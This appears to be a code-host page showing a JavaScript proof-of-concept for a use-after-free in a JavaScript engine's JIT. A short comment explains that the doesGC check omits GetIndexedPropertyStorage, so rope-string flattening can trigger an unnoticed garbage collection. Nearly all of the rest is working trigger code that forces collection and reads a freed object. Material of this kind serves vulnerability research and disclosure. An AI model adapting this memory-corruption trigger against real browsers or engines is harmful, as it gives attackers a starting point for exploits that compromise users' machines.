58 lines
No EOL
1.2 KiB
JavaScript
58 lines
No EOL
1.2 KiB
JavaScript
/*
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The doesGC function simply takes a node, and tells if it might cause a garbage collection. This function is used to determine whether to insert write barriers. But it's missing GetIndexedPropertyStorage that can cause a garbage collection via rope strings. As a result, it can lead to UaF.
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PoC:
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*/
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function gc() {
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for (let i = 0; i < 10; i++) {
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new ArrayBuffer(1024 * 1024 * 10);
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}
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}
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function opt(arr) {
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let r = /a/;
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let o = {};
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arr[0].charAt(0);
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arr[1].charAt(0);
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arr[2].charAt(0);
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arr[3].charAt(0);
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arr[4].charAt(0);
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arr[5].charAt(0);
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arr[6].charAt(0);
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arr[7].charAt(0);
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arr[8].charAt(0);
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arr[8].charAt(0);
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arr[9].charAt(0);
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o.x = 'a'.match(r);
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return o;
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}
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function main() {
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for (let i = 0; i < 10000; i++) {
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opt(['a' + i, 'b' + i, 'c' + i, 'd' + i, 'e' + i, 'f' + i, 'g' + i, 'h' + i, 'i' + i, 'j' + i]);
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}
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let a = 'a'.repeat(1024 * 1024 * 2);
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let b = 'a'.repeat(1024 * 1024 * 2);
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let arr = [];
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for (let i = 0; i < 10; i++) {
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arr[i] = a + b;
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}
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gc();
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let o = opt(arr);
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gc();
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let tmp = [1234];
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print(o.x); // 1234
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}
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main(); |